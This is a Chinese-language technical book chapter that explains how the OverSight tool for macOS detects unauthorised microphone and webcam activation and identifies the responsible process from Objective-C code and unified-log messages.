我对该恶意软件的调查与 FBI 的行动交集,最终导致了涉嫌创建者的逮捕,并揭示了 FruitFly 的深远影响。根据司法部的新闻稿和起诉书,该创建者在 13 年的时间里在数千台计算机上安装了 FruitFly。^(2)

最终,苹果采取了措施来缓解这一威胁,例如创建了 XProtect 检测签名。即便如此,FruitFly 依然是一个鲜明的警示,提醒 Mac 用户即使苹果尽最大努力,仍可能面临非常现实的风险。FruitFly 甚至不是唯一一个通过摄像头监视受害者的 Mac 恶意软件。其他包括 Mokes、Eleanor 和 Crisis。

为了应对这些威胁,我发布了 OverSight,一款监控 Mac 内置麦克风和摄像头,以及任何外部连接的音频和视频设备的工具,能够在检测到未经授权的访问时提醒用户。在本章中,我将解释 OverSight 是如何监控这些设备的。我还将演示这个工具是如何通过自定义谓词过滤系统日志消息,以识别负责设备访问的进程。

你可以在 Objective-See 的 GitHub 仓库中找到 OverSight 的完整源代码:https://github.com/objective-see/OverSight

工具设计

简而言之,OverSight 会在 Mac 的麦克风或摄像头被激活时提醒用户,并且最重要的是,它能够识别出负责的进程。因此,每当像 FruitFly 这样的恶意软件试图访问摄像头或麦克风时,都会触发 OverSight 的警报。虽然 OverSight 的设计并不试图对进程进行良性或恶性分类,但它提供了选项让用户允许或阻止进程,或者豁免受信任的进程(图 12-1)。

图 12-1:OverSight 提供了一个选项,允许某个工具始终访问麦克风和摄像头。

允许(一次)选项本质上不执行任何操作,因为 OverSight 会在设备激活后收到通知。然而,允许(始终)选项提供了一种简单的方法,允许用户创建规则,以防止将来受信任的进程(如 FaceTime 或 Zoom)生成警报。最后,阻止选项将通过向进程发送终止信号(SIGKILL)来终止该进程。

与包含各种组件和 XPC 通信的工具(如 BlockBlock)相比,OverSight 相对简单。它是一个自包含的独立应用程序,能够在标准用户权限下执行麦克风和摄像头的监控任务。让我们深入探讨一下 OverSight 如何实现这些监控功能,更重要的是,如何识别负责的进程。我们会发现,前者通过各种 CoreAudio 和 CoreMediaIO API 变得容易,而后者则是一个更具挑战性的任务。

麦克风和摄像头枚举

为了接收关于每个连接的麦克风或摄像头已激活或已停用的通知,OverSight 会为每个设备添加一个属性监听器,该监听器用于监听“某处正在运行”属性,kAudioDevicePropertyDeviceIsRunningSomewhere。由于添加此类监听器的 API 需要设备 ID,我们首先来看看如何枚举麦克风和摄像头设备,并提取每个设备的 ID。

AVFoundation^(3) 类 AVCaptureDevice^(4) 提供了一个类方法 devicesWithMediaType:,该方法以媒体类型作为参数(见 列表 12-1)。要枚举音频设备(如麦克风),我们使用常量 AVMediaTypeAudio。要枚举视频设备,我们使用 AVMediaTypeVideo。该方法返回一个 AVCaptureDevice 对象的数组,这些对象与指定的媒体类型匹配。

#import <AVFoundation/AVCaptureDevice.h>

for(AVCaptureDevice* audioDevice in [AVCaptureDevice devicesWithMediaType:AVMediaTypeAudio]) {
    printf("audio device: %s\n", audioDevice.description.UTF8String);

    // Add code here to add a property listener for each audio device.
}
for(AVCaptureDevice* videoDevice in [AVCaptureDevice devicesWithMediaType:AVMediaTypeVideo]) {
    printf("video device: %s\n", videoDevice.description.UTF8String);

    // Add code here to add a property listener for each video device.
} 

列表 12-1:枚举所有音频和视频设备

编译并运行 列表 12-1 中的代码,在我的系统上输出如下,显示了我的 Mac 内建的麦克风和摄像头,以及一副连接的耳机:

Audio device: <AVCaptureHALDevice: 0x11b36a480 [MacBook Pro
Microphone][BuiltInMicrophoneDevice]>

Audio device: <AVCaptureHALDevice: 0x11a7e0440 [Bose QuietComfort 35]
[04-52-C7-77-0D-4E:input]>

Video device: <AVCaptureDALDevice: 0x10dbb2c00 [FaceTime HD Camera]
[3F45E80A-0176-46F7-B185-BB9E2C0E82E3]> 

你可以通过每个 AVCaptureDevice 对象的 localizedName 属性访问设备的名称,如 FaceTime HD Camera。你也可以利用其他对象属性,如 modelID、manufacturer 和 deviceType,仅监控部分设备。例如,你可能只选择监控你 Mac 内建的设备。

音频监控

为了在每个音频设备上设置属性监听器,以便接收激活和停用通知,OverSight 实现了一个名为 watchAudioDevice: 的辅助方法,该方法接受一个指向 AVCaptureDevice 对象的指针。对于每个 AVMediaTypeAudio 类型的设备,OverSight 会调用这个辅助方法。

该方法的核心是调用 AVFoundation 中的 AudioObjectAddPropertyListenerBlock 函数,该函数在 AudioHardware.h 头文件中定义如下:

extern OSStatus AudioObjectAddPropertyListenerBlock(AudioObjectID inObjectID,
const AudioObjectPropertyAddress* inAddress, dispatch_queue_t __nullable inDispatchQueue,
AudioObjectPropertyListenerBlock inListener); 

第一个参数是音频对象的 ID,我们可以为其注册属性监听器。每个AVCaptureDevice对象都有一个名为connectionID的对象属性,包含所需的 ID,但该属性没有公开。这意味着我们不能通过编写诸如audioDevice.connectionID这样的代码直接访问它。然而,正如本书其他地方所提到的,您可以通过扩展对象的定义或使用performSelector:withObject:方法来访问私有属性。

OverSight使用了后一种方法。您可以在名为getAVObjectID:的辅助方法中找到从AVCaptureDevice对象获取私有设备 ID 的逻辑(示例 12-2)。

-(UInt32)getAVObjectID:(AVCaptureDevice*)device {
    UInt32 objectID = 0;

  ❶ SEL methodSelector = NSSelectorFromString(@"connectionID");
    if(YES != [device respondsToSelector:methodSelector]) {
        goto bail;
    }

  ❷ #pragma clang diagnostic push
    #pragma clang diagnostic ignored "-Wpointer-to-int-cast"
    #pragma clang diagnostic ignored "-Warc-performSelector-leaks"
  ❸ objectID = (UInt32)[device performSelector:methodSelector withObject:nil];
  ❹ #pragma clang diagnostic pop

bail:
    return objectID;
} 

示例 12-2:获取设备的私有 ID

在 Objective-C 中,您可以通过调用与属性名称匹配的对象方法来访问对象属性,包括私有属性。您可以通过选择器按名称引用这些方法,或者任何方法。SEL类型表示的 Objective-C 选择器实际上只是指向表示方法名称的字符串的指针。在示例 12-2 中,您可以看到代码首先使用NSSelectorFromStringAPI❶为connectionID属性创建了一个选择器。

因为connectionID是一个私有属性,所以没有什么能阻止 Apple 重命名或完全移除它。因此,代码调用respondsToSelector:方法来确保它仍然存在于AVCaptureDevice对象上;如果没有找到,它就会退出。在尝试访问私有属性或调用私有方法之前,您应该始终使用respondsToSelector:方法;否则,您的程序可能会因为doesNotRecognizeSelector异常而崩溃。^(5)

接下来,代码利用了各种#pragma指令来保存诊断状态,并告诉编译器忽略本应显示的警告❷。当我们调用performSelector:withObject:方法❸时,这些警告就会被抛出,因为编译器无法知道它返回的是哪个对象,因此也不知道如何管理其内存。^(6) 由于connectionID只是一个无符号 32 位整数,它不需要内存管理。

最后,代码通过之前创建的选择器访问connectionID属性。它通过上述的performSelector:withObject:方法来实现,这个方法允许您在任意对象上调用任意选择器。获得设备标识符后,辅助函数恢复了先前的诊断状态❹,并将设备 ID 返回给调用者。

AudioObjectAddPropertyListenerBlock函数的第二个参数是一个指向AudioObjectPropertyAddress结构体的指针,该结构体标识我们感兴趣的需要接收通知的属性。OverSight初始化了该结构,如示例 12-3 所示。

AudioObjectPropertyAddress propertyStruct = {0};
propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;
propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
propertyStruct.mElement = kAudioObjectPropertyElementMain; 

示例 12-3:初始化AudioObjectPropertyAddress结构体

我们指定了关注的属性是 kAudioDevicePropertyDeviceIsRunningSomewhere,它与系统中任何进程对设备的激活和停用相关。结构体中的其他元素表示我们指定的属性适用于整个设备,而不仅仅是某个特定的输入或输出。因此,一旦我们添加了属性监听器块,OverSight 将在指定的音频设备运行状态变化时收到通知。

该函数的第三个参数是一个标准的调度队列,用于执行监听器块(接下来会描述)。我们可以通过 dispatch_queue_create API 创建一个专用队列,或者使用 dispatch_get_global_queue,例如,使用 DISPATCH_QUEUE_PRIORITY_DEFAULT 常量,来利用现有的全局队列。该函数的最后一个参数是一个类型为 AudioObjectPropertyListenerBlock 的块,当指定设备上的指定属性发生变化时,Core Audio 框架会自动调用该块。下面是该监听器块的类型定义,也可以在AudioHardware.h中找到:

typedef void (^AudioObjectPropertyListenerBlock)(UInt32 inNumberAddresses,
const AudioObjectPropertyAddress* inAddresses); 

由于如果指定接收通知的属性发生变化,多个属性可能会同时变化,因此监听器块会被调用,并传递一个 AudioObjectPropertyAddress 对象的数组以及该数组中的元素个数。OverSight 只对一个属性感兴趣,因此它会忽略这些参数。为了完整性,示例 12-4 展示了 OverSight 的 watchAudioDevice:方法,该方法包含了指定感兴趣的属性、定义通知的监听器块,并将其添加到指定音频设备的核心逻辑。

-(BOOL)watchAudioDevice:(AVCaptureDevice*)device {
    AudioObjectPropertyAddress propertyStruct = {0};

    propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;
    propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
    propertyStruct.mElement = kAudioObjectPropertyElementMain;

    AudioObjectID deviceID = [self getAVObjectID:device];

    AudioObjectPropertyListenerBlock listenerBlock =
    ^(UInt32 inNumberAddresses, const AudioObjectPropertyAddress* inAddresses) {
        // Code to handle device's run state changes removed for brevity
    };

    AudioObjectAddPropertyListenerBlock(deviceID, &propertyStruct, self.eventQueue,
    listenerBlock);
    ...
} 

示例 12-4:设置音频设备运行状态变化的监听器块

监听器块中的 OverSight 代码查询设备,以确定其当前状态,因为通知告诉我们运行状态发生了变化,但没有具体说明变化到了哪个状态。如果发现音频设备已开启,OverSight 会查询其日志监视器,以确定负责访问和激活该设备的进程身份。这个步骤在“负责任的进程识别”一节中有更详细的讨论(见第 288 页)。遗憾的是,这一步是必要的,因为虽然苹果提供了 API 来接收音频设备状态变化的通知,但它们并没有提供关于负责进程的任何信息。最后,监听器块会提醒用户,提供有关音频设备、其状态以及在激活情况下负责的进程的信息。

为了确定设备是被激活还是被停用,OverSight 在它名为 getMicState:的辅助方法中调用了 AudioDeviceGetProperty API(示例 12-5)。

-(UInt32)getMicState:(AVCaptureDevice*)device {
    UInt32 isRunning = 0;
    UInt32 propertySize = sizeof(isRunning);

    AudioObjectID deviceID = [self getAVObjectID:device]; ❶
    AudioDeviceGetProperty(deviceID, 0, false, kAudioDevicePropertyDeviceIsRunningSomewhere,
    &propertySize, &isRunning); ❷

    return isRunning;
} 

示例 12-5:确定音频设备的当前状态

在声明了几个必要的变量之后,该方法调用前面讨论过的 getAVObjectID: 辅助方法,从触发通知的 AVCaptureDevice 对象中提取私有设备 ID ❶。然后,它将这个值与 kAudioDevicePropertyDeviceIsRunningSomewhere 常量、大小和结果的输出指针一起传递给 AudioDeviceGetProperty 函数 ❷。通过此调用,我们将知道我们在回调块中收到的通知是由于设备激活还是由于不太重要的停用。

接下来,我将向你展示如何监控视频设备,例如内置的摄像头。

摄像头监控

为了检测视频设备的运行状态变化,这些设备的类型为 AVMediaTypeVideo,我们可以采用类似于音频设备监控代码的方法。然而,我们将使用 CoreMediaIO 框架中的 API,并通过 CMIOObjectAddPropertyListenerBlock API 注册一个属性监听器。

OverSight 在其 watchVideoDevice: 方法中监控视频设备的运行状态变化(Listing 12-6)。

-(BOOL)watchVideoDevice:(AVCaptureDevice*)device {
  ❶ CMIOObjectPropertyAddress propertyStruct = {0};
    propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
    propertyStruct.mElement = kAudioObjectPropertyElementMain;
    propertyStruct.mSelector = ❷ kAudioDevicePropertyDeviceIsRunningSomewhere;

  ❸ CMIOObjectID deviceID = [self getAVObjectID:device];

  ❹ CMIOObjectPropertyListenerBlock listenerBlock = ^(UInt32
    inNumberAddresses, const CMIOObjectPropertyAddress addresses[]) {
        // Code to handle device's run-state changes removed for brevity
    };

  ❺ CMIOObjectAddPropertyListenerBlock(deviceID, &propertyStruct,
    self.eventQueue, listenerBlock);
    ...
} 

Listing 12-6: 设置视频设备运行状态变化的监听器块

就像监控音频设备一样,代码初始化一个属性结构来指定我们感兴趣的接收通知的属性 ❶。请注意,我们使用的常量与音频设备相同 ❷。苹果的头文件似乎没有定义特定于视频设备的常量。

接下来,我们使用 OverSight 的 getAVObjectID: 辅助方法获取视频设备的 ID ❸。我们还实现了一个类型为 CMIOObjectPropertyListenerBlock 的监听器块 ❹,然后调用 CMIOObjectAddPropertyListenerBlock 函数 ❺。一旦我们调用了这个函数,CoreMediaIO 框架会在监控的视频设备激活或停用时自动调用监听器块。

与音频设备一样,我们必须手动查询设备以了解它是否已被激活或禁用。你可以在 OverSight 的 getCameraState: 方法中找到这一逻辑,该方法使用 CoreMediaIO API,但与 getMicState: 方法几乎完全相同。因此,我在这里就不再详细介绍了。

设备连接与断开

到目前为止,我们已经列出了当前连接到系统的音频和视频设备。对于每个设备,我们都添加了一个属性监听器块,它将在设备激活或停用时接收通知。一切顺利,但我们还需要处理当前监控的设备断开和重新连接的情况,以及用户在监控期间插入新设备的情况。例如,假设用户经常将笔记本电脑连接或断开连接到 Apple Cinema 显示器。这些显示器内置有摄像头,OverSight 应该监控这些摄像头以防止未经授权的激活,因此我们必须能够处理那些不断连接和断开的设备。

幸运的是,由于 macOS 的 NSNotificationCenter 调度机制,这个过程相对简单。它是 Foundation 框架的一部分,允许客户端注册自己为感兴趣事件的观察者,然后在这些事件发生时接收通知。为了了解音频或视频设备的连接和断开,我们将订阅 AVCaptureDeviceWasConnectedNotification 和 AVCaptureDeviceWasDisconnectedNotification 事件,并可以通过 Listing 12-7 中的代码进行注册。

[NSNotificationCenter.defaultCenter addObserver:self
selector:@selector(handleConnectedDeviceNotification:)
name:AVCaptureDeviceWasConnectedNotification object:nil];

[NSNotificationCenter.defaultCenter addObserver:self
selector:@selector(handleDisconnectedDeviceNotification:)
name:AVCaptureDeviceWasDisconnectedNotification object:nil]; 

Listing 12-7:注册设备连接和断开的事件

OverSight 调用了两次 addObserver:selector:name:object: 方法来注册自己监听感兴趣的事件。让我们仔细看看传递给这个方法的参数。第一个参数是用于处理通知的对象或 观察者。OverSight 指定 self,表示注册通知的对象与处理通知的对象相同。作为第二个参数,OverSight 使用 @selector 关键字指定在观察者对象上调用的处理通知的方法名称。对于新设备连接,我们使用名为 handleConnectedDeviceNotification: 的 OverSight 方法,对于设备断开,则使用 handleDisconnectedDeviceNotification: 方法。我们稍后会查看这些方法。

接下来,我们指定感兴趣的事件,比如设备连接或断开。这些事件的常量可以在 Apple 的 AVCaptureDevice.h 文件中找到。最后一个参数允许你指定一个附加对象,随通知一起传递。OverSight 没有使用这个参数,因此简单地传递 nil。

一旦 OverSight 调用了 addObserver:selector:name:object: 方法两次,每当设备连接或断开时,通知中心将触发我们相应的观察者方法。它传递给该方法的唯一参数是一个指向 NSNotification 对象的指针。在设备连接或断开的情况下,这个对象包含一个指向 AVCaptureDevice 的指针。

两个通知观察者方法首先从通知对象中提取设备,然后确定其类型(音频或视频)。接下来,代码根据设备是连接还是断开,调用 OverSight 的特定方法来开始或停止监控。

作为一个示例,Listing 12-8 展示了 handleConnectedDeviceNotification: 方法的实现。

-(void)handleConnectedDeviceNotification:(NSNotification *)notification {
  ❶ AVCaptureDevice* device = notification.object;

  ❷ if(YES == [device hasMediaType:AVMediaTypeAudio]) {
        [self watchAudioDevice:device];
  ❸} else if(YES == [device hasMediaType:AVMediaTypeVideo]) {
        [self watchVideoDevice:device];
    }
} 

Listing 12-8:当一个新设备连接时,OverSight 将开始监视它的运行状态变化。

该方法通过访问传入的 NSNotification 对象的对象属性来提取触发通知的设备 ❶。如果这个新连接的设备是音频设备,代码会调用 OverSight 的 watchAudioDevice: 方法,如前文所述,用于注册状态变化的属性监听块 ❷。对于视频设备,代码会调用 watchVideoDevice: 方法 ❸。处理设备断开连接的方法是相同的,不同之处在于它调用相关的 OverSight unwatch 方法,详见《停止》章节 第 293 页,用于停止音频或视频设备的监控。

如果我们仅仅对视频或音频设备是否被激活或停用感兴趣,那么就此为止。然而,如果没有包含触发该事件的责任进程,这些事件在恶意软件检测中的作用非常有限。因此,我们还需要做更多工作。

责任进程识别

许多合法活动可能会激活你的麦克风或摄像头(例如,参加视频会议)。安全工具必须能够识别访问设备的进程,以便能够忽略它信任的进程,并对任何不认识的进程发出警报。

在前面的章节中,我提到过 Endpoint Security API 可以识别许多感兴趣事件的责任进程。不幸的是,Endpoint Security 目前并未报告麦克风和摄像头的访问情况(尽管我多次恳求 Apple 添加这个功能)。虽然我们已经展示了 CoreAudio 和 CoreMediaIO API 可以提供设备运行状态变化的通知,但它们并不包含关于责任进程的信息。

多年来,OverSight 采取了各种迂回的方法来准确识别责任进程。最初,它利用了这样一个事实:访问麦克风或摄像头的进程框架会向 macOS 核心摄像头和音频助手守护进程发送各种 Mach 消息。当收到设备运行状态变化通知时,OverSight 会列举出所有 Mach 消息的发送者。它还通过从 I/O 注册表中提取潜在的责任进程来补充这一信息。^(7) 不幸的是,即使采用这种结合的方法,通常也会得到多个候选进程。因此,OverSight 执行了 macOS 样本工具,该工具提供了候选进程的堆栈跟踪。通过检查这些堆栈跟踪,它可以识别出某个进程是否正在与音频或视频设备进行交互。

这种方法虽然效率不高(且样本实用性有点侵入性,因为它会短暂地暂停目标进程),但它能够持续地识别出负责的进程。当时,OverSight 是市场上唯一能够提供此功能的工具,这使得它不仅受到用户的欢迎,也吸引了商业实体的关注,这些公司反向工程了该工具,将这项功能盗用为己所用——包括所有的漏洞!当我拿出这项违规行为的证据与公司对质时,所有公司最终都承认了过错,表示道歉,并做出了赔偿。^(8)

注释

有趣的是,其中一位复制了 OverSight 专有逻辑的开发人员不久后就开始为 Apple 工作。是否巧合,macOS 的更新版本现在在进程首次尝试访问麦克风或摄像头时会发出提醒。正如他们所说,模仿是最真诚的恭维方式。

随着 macOS 的变化,OverSight 最初用来识别负责进程的方法逐渐显得过时。幸运的是,通用日志的引入提供了一个更高效的解决方案。在第六章中,我展示了如何使用通用日志的私有 API 和框架来摄取流式日志消息等任务。OverSight 使用了这些相同的 API 和框架,并结合自定义的筛选谓词,来识别触发任何麦克风或摄像头状态变化的进程。

注释

日志中的消息随时可能发生变化。在这一部分中,我重点讨论的是 macOS 14 和 15 中存在的消息。虽然未来的操作系统版本可能会替换这些消息,但你应该能够识别出新的消息并进行替换。

通用日志包含了从系统各个角落不断流出的许多消息。为了识别相关的消息(例如,涉及访问摄像头的进程),我们可以先启动一个日志流,然后打开一个使用网络摄像头的应用程序,如 FaceTime:

% **log stream**
...
Default     0x0   367    0    com.apple.cmio.registerassistantservice:
[com.apple.cmio:] RegisterAssistantService.m:2343:-[RegisterAssistantServer
addRegisterExtensionConnection:]_block_invoke [{private}**901**][{private}0]
added <private> endpoint <private> camera <private>

Default     0x0   **901**    0    avconferenced: (CoreMediaIO) [com.apple.cmio:]
CMIOHardware.cpp:747:CMIODeviceStartStream backtrace 0   CoreMediaIO
0x000000019b4c4040 CMIODeviceStartStream + 228    [0x19b45a000 + 434240] 

在流中,你可以看到与摄像头访问相关的消息。这些消息包含指向 PID 为 901 的进程的引用,或者是由该进程发出的。在这个例子中,PID 映射到 avconferenced 进程,它代表 FaceTime 访问网络摄像头。让我们尝试另一个应用程序(比如 Zoom),看看日志中显示了什么:

% **log stream**
...
Default     0x0   367    0    com.apple.cmio.registerassistantservice:
[com.apple.cmio:] RegisterAssistantService.m:2343:-[RegisterAssistantServer
addRegisterExtensionConnection:]_block_invoke [{private}**17873**][{private}0]
added <private> endpoint <private> camera <private>

Default     0x0   **17873**  0    zoom.us: (CoreMediaIO) [com.apple.cmio:]
CMIOHardware.cpp:747:CMIODeviceStartStream backtrace 0   CoreMediaIO
0x00007ff8248a6287 CMIODeviceStartStream
+ 205    [0x7ff824840000 + 418439]CMIOHardware.cpp:747:CMIODeviceStartStream
backtrace 0   CoreMediaIO      0x00007ff8248a6287 CMIODeviceStartStream +
205    [0x7ff824840000 + 418439] 

我们收到了完全相同的消息,只不过这次它们包含了一个进程 ID 17873,它属于 Zoom。你可以进行类似的实验,识别出包含有关访问麦克风的进程信息的日志消息。

为了程序化地与通用日志进行交互,OverSight 实现了一个名为 LogMonitor 的自定义类。该类中的代码与 LoggingSupport 框架中的私有 API 进行了接口交互。由于第六章已经详细介绍了这一策略,这里就不再重复。如果你对完整的代码感兴趣,可以查看 OverSight 项目中的 LogMonitor.m 文件。

OverSight 的 LogMonitor 类暴露了一个方法,其定义如 列表 12-9 所示。

-(BOOL)start:(NSPredicate*)predicate level:(NSUInteger)level
callback:(void(^)(OSLogEvent*))callback; 

列表 12-9:LogMonitor 的方法,通过指定的级别和谓词启动日志流

给定一个谓词和一个日志级别(例如默认或调试),此方法激活一个流式日志会话。它将传递与指定谓词匹配的 OSLogEvent 类型的日志消息给调用者,使用指定的回调块。

OverSight 使用一个谓词,该谓词匹配来自核心媒体 I/O 子系统或核心媒体子系统的所有日志消息,因为这些子系统生成包含负责进程 PID 的特定日志消息(列表 12-10)。

if(@available(macOS 14.0, *)) {
    [self.logMonitor start:[NSPredicate predicateWithFormat:@"subsystem=='com.apple.cmio' OR
    subsystem=='com.apple.coremedia'"] level:Log_Level_Default callback:^(OSLogEvent*
    logEvent) {
        // Code that processes cmio and coremedia log messages removed for brevity
    }];
} 

列表 12-10:过滤来自 cmio 和 coremedia 子系统的消息

我们故意让这些谓词尽可能宽泛,以确保 macOS 在系统日志守护进程的日志框架实例中执行谓词匹配,而不是在 OverSight 加载的同一框架实例中执行。这避免了在两个进程之间复制和传输所有系统日志消息的重大开销。然而,使用更宽泛的谓词的唯一缺点是 OverSight 必须筛选掉不相关的消息。不过,由于这两个指定子系统生成的日志消息数量不多,因此这种额外的处理不会引入太多开销。

对于来自子系统的每条消息,OverSight 检查它是否包含触发设备运行状态变化的进程 PID。列表 12-11 展示了处理摄像头事件的代码。

❶ NSRegularExpression* cameraRegex = [NSRegularExpression
regularExpressionWithPattern:@"\\[\\{private\\}(\\d+)\\]"
options:0 error:nil];

❷ if((YES == [logEvent.subsystem isEqual:@"com.apple.cmio"]) &&
    (YES == [logEvent.composedMessage hasSuffix:@"added <private>
    endpoint <private> camera <private>"])) {
  ❸ NSTextCheckingResult* match = [cameraRegex firstMatchInString:logEvent.
    composedMessage options:0 range:NSMakeRange(0, logEvent.composedMessage.
    length)];
    if((nil == match) || (NSNotFound == match.range.location)) {
 return;
    }
  ❹ NSInteger pid = [[logEvent.composedMessage substringWithRange:
    [match rangeAtIndex:1]] integerValue];
        self.lastCameraClient = pid;
} 

列表 12-11:解析 cmio 消息以检测负责的进程

对于摄像头事件,我们查找来自 com.apple.cmio 子系统的消息,该消息以添加的 端点 摄像头 ❷ 结尾。为了提取该进程的 PID,OverSight 使用一个正则表达式,它会在消息处理之前初始化,以避免重新初始化 ❶,然后将其应用于候选消息 ❸。如果正则表达式不匹配,回调函数将通过返回语句退出。否则,它会提取 PID 作为整数,并将其保存到一个名为 lastCameraClient 的实例变量中 ❹。OverSight 在收到摄像头运行状态变更通知时引用该变量,并构建一个警报以显示给用户(列表 12-12)。

Client* client = nil;

if(0 != self.lastCameraClient) {
    client = [[Client alloc] init];
    client.pid = [NSNumber numberWithInteger:self.**lastCameraClient**];
    client.path = valueForStringItem(getProcessPath(client.pid.intValue));
    client.name = valueForStringItem(getProcessName(client.path));
}
Event* event = [[Event alloc] init:client device:device deviceType:
Device_Camera state:NSControlStateValueOn];

[self handleEvent:event]; 

列表 12-12:创建一个封装负责进程的对象

对于麦克风事件,方法类似,除了 OverSight 查找来自 com.apple.coremedia 子系统的消息,这些消息以 -MXCoreSession- -[MXCoreSession beginInterruption] 开头,以 Recording = YES> is going active 结尾。

使用通用日志来识别负责麦克风和摄像头访问的进程已经证明是有效的。这种策略的主要缺点是 Apple 偶尔会更改或删除相关的日志信息。例如,OverSight 在 macOS 的早期版本中使用了不同的日志信息来识别负责的进程,这迫使我在 Apple 删除这些日志信息后更新工具。你可以通过查看 OverSight GitHub 仓库中的 AVMonitor.m 提交历史记录来看到这些更新。

触发脚本

当我在 2015 年介绍 OverSight 时,macOS 对麦克风或摄像头的访问没有任何限制,这意味着任何感染系统的恶意软件都可以轻松访问这些设备。近期版本的 macOS 已经解决了这个问题,当任何应用程序首次尝试访问这些设备时,会提示用户。不幸的是,这种方法依赖于操作系统的透明度、同意和控制(TCC)机制,而黑客和恶意软件常常绕过该机制,正如 第六章 所述。

除了提供额外的防御层,OverSight 还提供了用户创造性地利用的功能。例如,它提供了一个机制,当某个进程访问麦克风或摄像头时,可以采取额外的行动。如果你打开 OverSight 的偏好设置并点击“操作”标签,你会看到可以指定一个外部脚本或二进制文件的路径。如果用户提供了这样的可执行文件,OverSight 会在每次激活事件时执行它。

为了进一步增强这一功能,另一个选项允许用户启用参数以提供给脚本,包括设备、状态和负责的进程。这使得 OverSight 相对容易集成到其他安全工具中(尽管用户经常出于更实际的原因使用这一功能,比如每次激活麦克风或摄像头时,打开家办公室外的外部灯)。

OverSight 执行外部脚本或二进制文件的代码相当简单,尽管处理参数时需要注意一些细节。OverSight 使用 NSUserDefaults 类来持久化存储设置和偏好,包括任何用户指定的脚本或二进制文件。列表 12-13 显示了当用户与浏览按钮交互时,保存项目路径的代码。

#define PREF_EXECUTE_PATH @"executePath"
#define PREF_EXECUTE_ACTION @"executeAction"
❶ self.executePath.stringValue = panel.URL.path;
...
❷ [NSUserDefaults.standardUserDefaults setBool:NSControlStateValueOn
forKey:PREF_EXECUTE_ACTION];

❸ [NSUserDefaults.standardUserDefaults setObject:self.executePath.stringValue
forKey:PREF_EXECUTE_PATH];

❹ [NSUserDefaults.standardUserDefaults synchronize]; 

列表 12-13:用于存储用户偏好的 NSUserDefaults 类

我们通过用户界面 ❶ 保存用户选择的项目路径,然后设置一个标志,表示用户指定了一个操作 ❷,并保存该项目的路径 ❸。请注意,panel 是一个 NSOpenPanel 对象,包含用户选择的项目。我们使用 NSUserDefaults 的 standardUserDefaults 对象的 setBool: 方法设置标志,并使用 setObject: 方法设置项目路径。最后,我们同步操作以触发保存 ❹。

当用户指定要运行的外部项时,OverSight 会调用一个名为 executeUserAction: 的辅助函数,在麦克风或摄像头的运行状态更改时执行该项(清单 12-14)。

#define SHELL @"/bin/bash"
#define PREF_EXECUTE_PATH @"executePath"
#define PREF_EXECUTE_ACTION_ARGS @"executeActionArgs"

-(BOOL)executeUserAction:(Event*)event {
    NSMutableString* args = [NSMutableString string];

    NSString* action = [NSUserDefaults.standardUserDefaults objectForKey:PREF_EXECUTE_PATH]; ❶
    if(YES == [NSUserDefaults.standardUserDefaults boolForKey:PREF_EXECUTE_ACTION_ARGS]) { ❷
        [args appendString:@"-device "]; ❸
        (Device_Camera == event.deviceType) ? [args appendString:@"camera"] :
        [args appendString:@"microphone"];

        [args appendString:@" -process "];
        [args appendString:event.client.pid.stringValue];
        ...
    }

  ❹ execTask(SHELL, @[@"-c", [NSString stringWithFormat:@"\"%@\" %@", action, args]], NO, NO);
    ... 

清单 12-14:执行用户指定的带参数项

executeUserAction: 方法首先从保存的偏好设置中提取用户指定的要执行项的路径 ❶。然后它检查用户是否选择了传递参数给该项 ❷。如果是,它动态构建一个包含参数的字符串,其中包括触发事件的设备和负责的进程 ❸。最后,它通过 shell 使用之前章节中讨论的 execTask 辅助函数执行该项及其任何参数 ❹。

你可能会想知道为什么 OverSight 通过 /bin/bash 执行用户指定的项,而不是直接执行该项。嗯,因为 shell 支持执行脚本和独立的可执行文件,这意味着用户可以在 OverSight 中指定任一项。

停止

为用户提供一个简单的方式来暂停或完全禁用他们安装的安全工具是很好的。我将在本章结束时查看 OverSight 的代码,以停止设备和日志监控。我不会涵盖暴露此功能的 UI 组件和逻辑,但你可以在 OverSight 的Application/StatusBarItem.m 文件中找到它们作为 macOS 状态栏菜单的实现。

当用户禁用或停止 OverSight 时,它首先通过调用自定义日志监控器暴露的停止方法来停止日志监控器。该方法通过调用 OSLogEventLiveStream 对象的 invalidate 方法结束接收日志消息的流。一旦日志监控器停止,OverSight 会在两个循环中停止监控所有音频和视频设备(清单 12-15)。

-(void)stop {
    ...
    for(AVCaptureDevice* audioDevice in [AVCaptureDevice devicesWithMediaType:AVMediaType
    Audio]) {
        [self unwatchAudioDevice:audioDevice];
    }

    for(AVCaptureDevice* videoDevice in [AVCaptureDevice devicesWithMediaType:AVMediaType
    Video]) {
        [self unwatchVideoDevice:videoDevice];
    }
    ...
} 

清单 12-15:结束对所有设备的监控

一个循环遍历所有音频设备,调用 OverSight 的 unwatchAudioDevice: 方法,另一个循环遍历视频设备,调用 unwatchVideoDevice: 方法。这些方法中的代码移除监听器块,与本章早些时候涵盖的 watch* 监控方法几乎完全相同,正如你在来自 unwatchAudioDevice 方法的这段代码中所看到的(清单 12-16)。

-(void)unwatchAudioDevice:(AVCaptureDevice*)device {
    ...
    AudioObjectID deviceID = [self getAVObjectID:device];

    AudioObjectPropertyAddress propertyStruct = {0};
    propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
    propertyStruct.mElement = kAudioObjectPropertyElementMain;
    propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;

  ❶ AudioObjectRemovePropertyListenerBlock(deviceID,
    &propertyStruct, self.eventQueue, self.audioListeners[device.uniqueID]);
    ...
} 

清单 12-16:从音频设备中移除属性监听器块

这段代码首先获取指定设备的 ID,然后初始化一个描述先前添加的属性监听器的 AudioObjectPropertyAddress ❶。它将这些内容与存储在名为 audioListeners 的字典中的监听器块一起传递给 AudioObjectRemovePropertyListenerBlock 函数。这将完全移除属性监听器块,结束 OverSight 对设备的监控。

结论

一些针对 Mac 用户的最隐蔽的威胁通过麦克风或摄像头监视受害者。OverSight 并不试图检测特定的恶意软件样本,而是通过采用简单但强大的启发式方法来检测未经授权的麦克风和摄像头访问,从而对抗所有这类威胁。

